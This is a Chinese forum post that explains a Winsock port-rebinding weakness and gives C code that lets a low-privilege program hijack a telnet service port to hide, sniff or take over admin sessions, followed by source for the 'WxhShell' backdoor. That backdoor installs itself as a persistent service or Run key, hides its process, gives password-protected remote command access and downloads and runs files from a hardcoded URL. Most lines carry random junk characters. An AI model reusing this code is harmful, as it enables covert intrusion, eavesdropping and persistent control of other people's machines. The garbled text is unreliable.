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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z`T]jm-3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K>N\U@@8i  
;y/&p d+  
  saddr.sin_family = AF_INET; cY0NQKUk~  
2.qEy6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -QN1= G4  
mA@FJK_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?^n),mR  
T1_O~<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4hz T4!15  
P XKEqcQR  
  这意味着什么?意味着可以进行如下的攻击: l1l=52r   
jEVDz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 of659~EIW  
m %]1~b}"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o#fr5>h-w  
TkBHlTa"=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gNUYHNzDM(  
u%!/-&?wF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GRM6H|.  
;G.5.q[A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ($'W(DH4  
2RG6m=Y8y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -n FKP&P  
vJ9I z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^m~&2l\N=  
d<K2 \:P{}  
  #include ~@=(#tO.  
  #include n+MWny  
  #include + fS<YT  
  #include    :e /*5ix  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h! =h0  
  int main() 4a}[&zm(5  
  { hz:h>Hwy  
  WORD wVersionRequested; i' V("  
  DWORD ret; =HMa<"-8  
  WSADATA wsaData; M#n lKj<  
  BOOL val; *,& 2?E8  
  SOCKADDR_IN saddr; y^Uh<L0M  
  SOCKADDR_IN scaddr; Kv0V`}<Yc  
  int err; lg"aB  
  SOCKET s; v|\3FEu@  
  SOCKET sc; aKjP{Z0k$  
  int caddsize; 2Pow-o*r  
  HANDLE mt; )G#mC0?PV  
  DWORD tid;   ];xDXQd  
  wVersionRequested = MAKEWORD( 2, 2 ); qYoB;gp  
  err = WSAStartup( wVersionRequested, &wsaData ); `6$|d,m5  
  if ( err != 0 ) { )Zf1%h~0r  
  printf("error!WSAStartup failed!\n"); 5EU~T.4C<  
  return -1; 7UIf   
  } p<1y$=zS  
  saddr.sin_family = AF_INET; `+z^#3l  
   A]Bf&+V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jvc:)I1NE7  
m ww<Xm'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vAp<Muj(a  
  saddr.sin_port = htons(23); <qg4Rz\c]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n,U?]mr  
  { ZDg(D"  
  printf("error!socket failed!\n"); KpA1Ac)T  
  return -1; ?4A/?Z]ub  
  } H-vHcqFx3  
  val = TRUE; B (Ps/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cbN;Kv?ak}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *Nm$b+  
  { ,qx^D  
  printf("error!setsockopt failed!\n"); T/a=z  
  return -1; !O,Sq/=.  
  } o]E L=j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vJLGy]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c {/J.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 > vdmN]  
>H^#!eaqw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gk6UV2nE?  
  { v3#,Z!  
  ret=GetLastError(); {j=`  
  printf("error!bind failed!\n"); fuzB;Ea  
  return -1; P q$0ih  
  } N_I KH)  
  listen(s,2); Cb1w8l0  
  while(1) LH)XD[  
  { I)tiXcJw  
  caddsize = sizeof(scaddr); Fvf |m7  
  //接受连接请求 ~: {05W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m>%b4M  
  if(sc!=INVALID_SOCKET) !$A/.;0$  
  { DY -5(6X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3/>7b (  
  if(mt==NULL) ! !A0K"h  
  { #F`A(n  
  printf("Thread Creat Failed!\n"); t%;w<1E  
  break; h Ta(^  
  } o:D,,MkSw  
  } O&1qL)  
  CloseHandle(mt); _bGkJ=  
  } `J1HQ!Z  
  closesocket(s); E7t;p)x  
  WSACleanup(); 7i*eKC`ZqK  
  return 0; ;h\T7pwwb  
  }   ;xZjt4M1  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,Klv[_x7  
  { =}vT>b  
  SOCKET ss = (SOCKET)lpParam; _]-4d_&3(  
  SOCKET sc; C,An\lsT  
  unsigned char buf[4096]; W7^[W.  
  SOCKADDR_IN saddr; Xx"<^FS[zC  
  long num; -~mgct5  
  DWORD val; $#q`Y+;L2  
  DWORD ret; TWzLJ63*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1h&`mqY)L.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ? 3=G'Ip5n  
  saddr.sin_family = AF_INET; 2%dL96  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d=/0A\O  
  saddr.sin_port = htons(23); J0?kEr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |M7cB$y  
  { qx t0Jr8  
  printf("error!socket failed!\n"); >> zd  
  return -1; Y3Fj3NwS  
  } }5-w,m{8/  
  val = 100; >#w;67he2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZEAUoC1E1  
  { SVZocTt  
  ret = GetLastError(); g1s%x=7/  
  return -1; #;$]M4  
  } pFvu,Q"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X H-_tvB  
  { $VuXr=f}  
  ret = GetLastError(); ){*+s RBW  
  return -1; "j@\a)a  
  } 5&ku]l+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )h8}{*  
  { bC/":+s& p  
  printf("error!socket connect failed!\n"); !cwZ*eM  
  closesocket(sc); qI+2,6 sGI  
  closesocket(ss); Upe}9xf  
  return -1; ]mTBD<3\  
  } 1u 9hA~rj  
  while(1) '+`[)w  
  { iRzFA!wH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p49]{2GXb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =V[uXm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K:wI'N"N  
  num = recv(ss,buf,4096,0); Jsz!ro  
  if(num>0) xT%`"eM}  
  send(sc,buf,num,0); n t}7|h|  
  else if(num==0) !sb r!Qt  
  break; UFG_ZoD+  
  num = recv(sc,buf,4096,0); JZ:@iI5>+  
  if(num>0) Ao\xse{E  
  send(ss,buf,num,0); CkT(\6B-  
  else if(num==0) JE=t e(a  
  break; ]:P7}Kpb  
  } nlwqSXw  
  closesocket(ss); (N7 uaZ?Z  
  closesocket(sc); V!W.P  
  return 0 ; c$O8Rhx  
  } ,o& C"sb  
X@rA2);6  
*l+#<5x  
========================================================== LQ jbEYp  
d$zJLgkA  
下边附上一个代码,,WXhSHELL eU[g@Pq:Y  
o*S_"  
========================================================== Zw.8B0W  
7>FXsUt_  
#include "stdafx.h"  =<HDek  
Ld4U  
#include <stdio.h> S<tw5!tJ  
#include <string.h> M+)a6ge  
#include <windows.h> 1( pHC  
#include <winsock2.h> Wg']a/m  
#include <winsvc.h> J ^'El^F  
#include <urlmon.h> -(qRC0V  
Zh"m;l/]  
#pragma comment (lib, "Ws2_32.lib") [#PE'i4  
#pragma comment (lib, "urlmon.lib") @ZjT_  
lQn" 6o1  
#define MAX_USER   100 // 最大客户端连接数 |9CikLX)7  
#define BUF_SOCK   200 // sock buffer  I//=C6  
#define KEY_BUFF   255 // 输入 buffer g.lTNQm$u  
*'%V}R[>  
#define REBOOT     0   // 重启 &Y]':gJ  
#define SHUTDOWN   1   // 关机 +y GQt3U  
,T$ts  
#define DEF_PORT   5000 // 监听端口 qJhsMo2IH  
1Kg0y71"  
#define REG_LEN     16   // 注册表键长度 f7Gn$E|/r;  
#define SVC_LEN     80   // NT服务名长度 )@PnpC%H  
L, JQ\!c  
// 从dll定义API =!q% 1mP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |>.Q U3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cp8=8N(Xb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nwvlv{k'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EBj^4=b[  
(WM3(US|  
// wxhshell配置信息 C]`uC^6g  
struct WSCFG { *l2`- gbE  
  int ws_port;         // 监听端口 l/eF P  
  char ws_passstr[REG_LEN]; // 口令 @~3--  
  int ws_autoins;       // 安装标记, 1=yes 0=no O$Rz/&  
  char ws_regname[REG_LEN]; // 注册表键名 d9N[f>  
  char ws_svcname[REG_LEN]; // 服务名 ,eXtY}E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h>N}M}8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zWHq4@K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (]|h6aI'}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x9_mlZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bc)>h!'Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2hh8G5IaQ  
iOE. .xA:  
}; K7 e~%mY  
[a=exK  
// default Wxhshell configuration iI3:<j l  
struct WSCFG wscfg={DEF_PORT, J2UQq7-y  
    "xuhuanlingzhe", 5)[~ T2j!  
    1, f6Qr0Op  
    "Wxhshell", i "8mrWb  
    "Wxhshell", [>=!$>>;8  
            "WxhShell Service", rP@#_(22  
    "Wrsky Windows CmdShell Service", -dntV=  
    "Please Input Your Password: ", ;nY#/%f  
  1, =2Y;)wrF  
  "http://www.wrsky.com/wxhshell.exe", Shn,JmR  
  "Wxhshell.exe" s|[>@~gXk  
    }; m,l/=M  
S,Y|;p<+^  
// 消息定义模块 %uW  =kr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *@U{[J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hHs/Qtq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #6`5-5Ks;  
char *msg_ws_ext="\n\rExit."; Ndmt$(b  
char *msg_ws_end="\n\rQuit."; Fn4v/)*H  
char *msg_ws_boot="\n\rReboot..."; 04a ^jjc  
char *msg_ws_poff="\n\rShutdown..."; f5jl$H.  
char *msg_ws_down="\n\rSave to "; JF~i.+{ h  
=L6#=7hcl  
char *msg_ws_err="\n\rErr!"; Gp"GTPT{  
char *msg_ws_ok="\n\rOK!"; rzjVUPdnh  
dzVi ~wt_&  
char ExeFile[MAX_PATH]; U|^xr~q!f-  
int nUser = 0; $=aO*i  
HANDLE handles[MAX_USER]; @6u/)>rI  
int OsIsNt; 7|rH9Bc{U  
tne_]+  
SERVICE_STATUS       serviceStatus; %,>z`D,Hg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h ><Sp*z_V  
2 $>DX\h  
// 函数声明 Z\&f"z?L  
int Install(void); sD|l}f  
int Uninstall(void); h Yu6PWK  
int DownloadFile(char *sURL, SOCKET wsh); Z;0~f<e%  
int Boot(int flag); dcz?5O_{,  
void HideProc(void); c9(3z0!F ?  
int GetOsVer(void); ] V D  
int Wxhshell(SOCKET wsl);  Fr%#  
void TalkWithClient(void *cs); ! 'zd(kv<  
int CmdShell(SOCKET sock); T$Z9F^w  
int StartFromService(void); [ks_wvY:'  
int StartWxhshell(LPSTR lpCmdLine); y^. 66BH  
hor7~u+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }Zhe%M=}G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bIQ,=EA1  
x4_IUIgh  
// 数据结构和表定义 .)Tj}Im2p  
SERVICE_TABLE_ENTRY DispatchTable[] = q"2QNF'  
{ 3Ax'v|&Hg  
{wscfg.ws_svcname, NTServiceMain}, ]#!uke Q  
{NULL, NULL} } ueFy<F  
}; aDlp>p^E>  
%X}ZX|{O  
// 自我安装 ?h<4trYcv  
int Install(void) @W,jy$U  
{ /l$x}  
  char svExeFile[MAX_PATH]; BK$y>= `  
  HKEY key; yR}. Xq/  
  strcpy(svExeFile,ExeFile); V<ESj K8  
UwN Vvo  
// 如果是win9x系统,修改注册表设为自启动 `L1,JE` q  
if(!OsIsNt) { C]^Ep  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i'~-\F!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k"wQ9=HP7  
  RegCloseKey(key); :]3X Ez  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vl^(K_`(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !_I1=yi  
  RegCloseKey(key); spK8^sh  
  return 0; Zxk~X}K\P  
    } ffKgVQux  
  } s%[F,hQRk  
} |/.J{=E0K  
else { ]a3$hAcj6"  
AFLtgoXn:  
// 如果是NT以上系统,安装为系统服务 3m1g"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *TOdIq&z  
if (schSCManager!=0) wj[yo S  
{ _]:b@gXUw  
  SC_HANDLE schService = CreateService _nGx[1G( 5  
  ( qGk+4 yC  
  schSCManager, R2bqhSlF  
  wscfg.ws_svcname, bM W|:rn  
  wscfg.ws_svcdisp, Im]@#X  
  SERVICE_ALL_ACCESS, ]8G 'R-8}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }\ _.Mg^y  
  SERVICE_AUTO_START, ?%kgfw@)  
  SERVICE_ERROR_NORMAL, yD[d%w  
  svExeFile, Cq5.gkS<  
  NULL, Mf5j'n  
  NULL, ,@$5,rNf  
  NULL, g[xoS\d  
  NULL, `sjY#Ua<  
  NULL 5Cf!NNV  
  ); e =amh  
  if (schService!=0) t}t(fJHY`  
  { 5eAZfe%H  
  CloseServiceHandle(schService); mF~T?L"  
  CloseServiceHandle(schSCManager); 7?lz$.*Avp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U~G7~L &m  
  strcat(svExeFile,wscfg.ws_svcname); q(sTKT[V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,05PYBc3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y<`5  
  RegCloseKey(key); LKN7L kl  
  return 0; !z?   
    } MGdzrcF  
  } kBUkE-~  
  CloseServiceHandle(schSCManager); lg^'/8^f  
} r[9m-#)>  
} X4!93  
]3r}>/2(  
return 1; |3$E w.  
} _kKG%U.gbK  
Y;w|Fvjj+  
// 自我卸载 KQ~y;{h?b  
int Uninstall(void) oZ{,IZ45  
{ ss^a=?~  
  HKEY key; RhYe=Qh4{p  
k@xinK%O{  
if(!OsIsNt) { EKc<|e,F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .jRI $vm  
  RegDeleteValue(key,wscfg.ws_regname); =<\22d5L  
  RegCloseKey(key); R~<N*En~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :>-zT[Lcn  
  RegDeleteValue(key,wscfg.ws_regname); HwU9 y   
  RegCloseKey(key); E|pT6  
  return 0; S2X@t>u-  
  } 1$cl "d`~  
} KXKT5E$  
} ,fjY|ip  
else { Qt u;_  
rrIyZ@_d9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =OufafZb  
if (schSCManager!=0) 7cc^n\c?Y  
{ FDo PW~+[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); txEN7!  
  if (schService!=0) Z% +$<J  
  { @&T' h}|:  
  if(DeleteService(schService)!=0) { {7y;s  
  CloseServiceHandle(schService); lpi"@3  
  CloseServiceHandle(schSCManager); M)13'B.  
  return 0; !vX4_!%  
  } ~EtGR # N  
  CloseServiceHandle(schService); v^A+LZ*d  
  } T;M ;c. U  
  CloseServiceHandle(schSCManager); tPyk^NJ;  
} pPL=(9d  
} $S>'0mL  
^f[6NYS?  
return 1; P9!awLM-  
} he|Q (?  
"{<X! ^u>  
// 从指定url下载文件 qrMED_(D  
int DownloadFile(char *sURL, SOCKET wsh) ~+.=  
{ z ]f(lwo{  
  HRESULT hr; #-|fdcb  
char seps[]= "/"; f )Lcs  
char *token; o Mz{j:  
char *file; Ry95a%&/s  
char myURL[MAX_PATH]; NuOA'e+i  
char myFILE[MAX_PATH]; "DN,1Q lCp  
f y2vAwl  
strcpy(myURL,sURL); EPE_2a}  
  token=strtok(myURL,seps); !mv5i%3  
  while(token!=NULL) 1zRYd`IPoq  
  { MKbcJZe  
    file=token; \.2i?<BC  
  token=strtok(NULL,seps); &JX<)JEB=<  
  } (iKJ~bJ  
stG +4w  
GetCurrentDirectory(MAX_PATH,myFILE); Cm;cmPPl  
strcat(myFILE, "\\"); y)zZ:lyIq  
strcat(myFILE, file); ?I]AE&4'  
  send(wsh,myFILE,strlen(myFILE),0); DE.].FD'  
send(wsh,"...",3,0); ##mZ97>$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RKLE@h7[?  
  if(hr==S_OK) 3$hIc)  
return 0; s.4+5rE  
else E6 oC^,ZRy  
return 1; `E|i8M3g  
+'8a>K^  
} cr;:5D%_  
Kyx9_2  
// 系统电源模块 fXWy9 #M  
int Boot(int flag) %N Q mV_1  
{ k'r}@-X  
  HANDLE hToken; yeyDB>#Va.  
  TOKEN_PRIVILEGES tkp; {.Qv1oOa  
4T@+gy^.  
  if(OsIsNt) { a~Dk@>+P>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =]%,&Se  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /KvJjt'8  
    tkp.PrivilegeCount = 1; _Q:z -si  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OUWK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YPx+9^)  
if(flag==REBOOT) { 4AN8Sx(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xJZaV!N|  
  return 0; UIDeMz  
} yH('Vl  
else { wa<k%_# M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CUJq [  
  return 0; 6y!U68L;B  
} ~!ooIwNNz  
  } Jqb~RP~  
  else { ,>aa2  
if(flag==REBOOT) { D?#l8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A6[FH\f  
  return 0; 3IRur,|'  
} * WV=Xp  
else { .xqi7vVHZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NCh-BinK@  
  return 0; ;8oe-xS\+  
} X$KTsG*  
} %|JiFDjp  
W,EIBgR(R5  
return 1; *rTg>)  
} &|Wqzdo?#  
7j)ky2r#  
// win9x进程隐藏模块 GXxI=,L8F  
void HideProc(void) "gy&eR>  
{ hDi~{rbmc  
56 JQ h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6 D Xja_lp  
  if ( hKernel != NULL ) S'5)K  
  { /e"iY F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WzstO}?P(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,KJHYm=Q  
    FreeLibrary(hKernel); ^mn!;nu  
  } 0GxJja  
;N#}3lpLqg  
return; g"748LY>=p  
} ^R:&c;&,  
FzEs1hpl  
// 获取操作系统版本 9287&+,0r  
int GetOsVer(void) {@CQ (  
{ -+{[.U<1jk  
  OSVERSIONINFO winfo; uGz)Vz&3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ntLEk fK{  
  GetVersionEx(&winfo); 8\68NG6o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H?O5 "4a  
  return 1; 6!>p<p"Ns  
  else XfE0P(sE  
  return 0; %SB4_ r*<  
} /pjl6dJ t  
"LTw;& y  
// 客户端句柄模块 A:ts_*  
int Wxhshell(SOCKET wsl) =s!0EwDH3  
{ ,r*Kxy  
  SOCKET wsh; EF!J#N2  
  struct sockaddr_in client; 1N(#4mE=  
  DWORD myID; MlYm\x8{M  
(1|wM+)"  
  while(nUser<MAX_USER) 8!|vp7/  
{ C W#:'  
  int nSize=sizeof(client); Hy4;i^Ik <  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +z nlf-  
  if(wsh==INVALID_SOCKET) return 1; F oC $X  
|;NfH|43;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *-PjcF}Y  
if(handles[nUser]==0) _^Q!cB'~/`  
  closesocket(wsh); S[!6Lw  
else Dx1(}D  
  nUser++; x)=l4A\  
  } Eo2`Vr9g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )M dddz4  
#1U>  
  return 0; ]fzXrN_  
} UstUPO  
S>I` y]qlR  
// 关闭 socket Z@1kx3Wx$  
void CloseIt(SOCKET wsh) d7](fw@c  
{ rl 7up  
closesocket(wsh); 7P2n{zd,  
nUser--; #M|lBYdW}  
ExitThread(0); o3`U;@&u  
} p#jAEY p  
:se$<d%  
// 客户端请求句柄 xgMh@@e  
void TalkWithClient(void *cs) l#enbQ`-~  
{ |hxiARr4  
UBuh '?j  
  SOCKET wsh=(SOCKET)cs; lXTE#,XVf  
  char pwd[SVC_LEN]; ?'0!>EjY"  
  char cmd[KEY_BUFF]; eMnK@J  
char chr[1]; mP\V.^  
int i,j; .F8[;+  
O Ol:  
  while (nUser < MAX_USER) { Lo'pNJH;$  
pk9Ics;y  
if(wscfg.ws_passstr) { KGM__ZO.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N<i5X.X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oaqH@`  
  //ZeroMemory(pwd,KEY_BUFF); m|W17LhW{  
      i=0; JWd[zJ[  
  while(i<SVC_LEN) { mq[=,,#  
0Q a 0  
  // 设置超时 Y]L4,V  
  fd_set FdRead; avq$aq(3&  
  struct timeval TimeOut; )XN%pn  
  FD_ZERO(&FdRead); OiQf=Uz\  
  FD_SET(wsh,&FdRead); WF`%7A39Af  
  TimeOut.tv_sec=8; E>s+"y  
  TimeOut.tv_usec=0; s4_Dqm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zpg;hj5_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); enJ; #aA  
Qwpni^D8j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uQ-GJI^t  
  pwd=chr[0]; =( |%%,3  
  if(chr[0]==0xd || chr[0]==0xa) { :W,S  
  pwd=0; PolJo?HZ  
  break; {EvT7W  
  } Cg]|x+  
  i++; KV$&qM.  
    } 53{\H&q  
TiI/I`A  
  // 如果是非法用户,关闭 socket l SdA7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8^}/T#l  
} E#+2)Q  
N_bgWQY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xd%qebK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X3G593ts  
j%s,%#al  
while(1) { 12U]=  
sMGo1pG(  
  ZeroMemory(cmd,KEY_BUFF); N_NN0  
?Vd~  
      // 自动支持客户端 telnet标准   eR \duZ!`  
  j=0; BS fmS(.  
  while(j<KEY_BUFF) { : B&~q$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c ^ds|7i]a  
  cmd[j]=chr[0]; Axsezr/  
  if(chr[0]==0xa || chr[0]==0xd) { jKmjZz8L]%  
  cmd[j]=0; # &.syD#  
  break; /al56n  
  } FTCIfW  
  j++; <VhmtT%7  
    } THhxj)  
3XlQ4  
  // 下载文件 9SsVJ<9,R  
  if(strstr(cmd,"http://")) { `{!A1xKZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hi={(Z5tC4  
  if(DownloadFile(cmd,wsh)) ]]:K l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.J)Z=o  
  else cEu_p2(7!B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B1_9l3RM  
  } g ZtQtFi  
  else { Ob]\t/:%P  
b5)^g+8)w  
    switch(cmd[0]) { Q,5PscE6&k  
  *fc8M(]&d  
  // 帮助 :4V5p =v-  
  case '?': { 39 }e }W"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,;}   
    break; w{DU<e:  
  } "'[M~Js  
  // 安装 s`=| D'G(=  
  case 'i': { 8<; .  
    if(Install()) zK~8@{l}_"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3R< r[3WP  
    else w3,KqF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CmBP C jh  
    break; C`[2B0  
    } C{/U;Ie-b  
  // 卸载 #).^k-  
  case 'r': { ^5]9B<i[Y  
    if(Uninstall()) I[&x-}w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(4!x$,Z5  
    else |iUF3s|?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9ia&/BT7"z  
    break; J.XkdGQ  
    } ks. p)F>]  
  // 显示 wxhshell 所在路径 _m?i$5  
  case 'p': { &6CDIxH{  
    char svExeFile[MAX_PATH]; A x8>  
    strcpy(svExeFile,"\n\r"); >I@&"&d  
      strcat(svExeFile,ExeFile); e">&B]#}  
        send(wsh,svExeFile,strlen(svExeFile),0); ]\fHc"/  
    break; pP.`+vPi  
    } (9]1p;  
  // 重启 $O\m~r4  
  case 'b': { ThX3@o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9ad)=3A&L  
    if(Boot(REBOOT)) 1oO(;--u_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xMk>r1Ud  
    else { c\ZI 5&4jT  
    closesocket(wsh); X[?fU&  
    ExitThread(0); }Y7P2W+4?  
    } _qPKdGoM  
    break; ]zj#X\  
    } 7fypUQ:y  
  // 关机 IrYj#,xJ  
  case 'd': { &I-:=ir  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q0%QMut%  
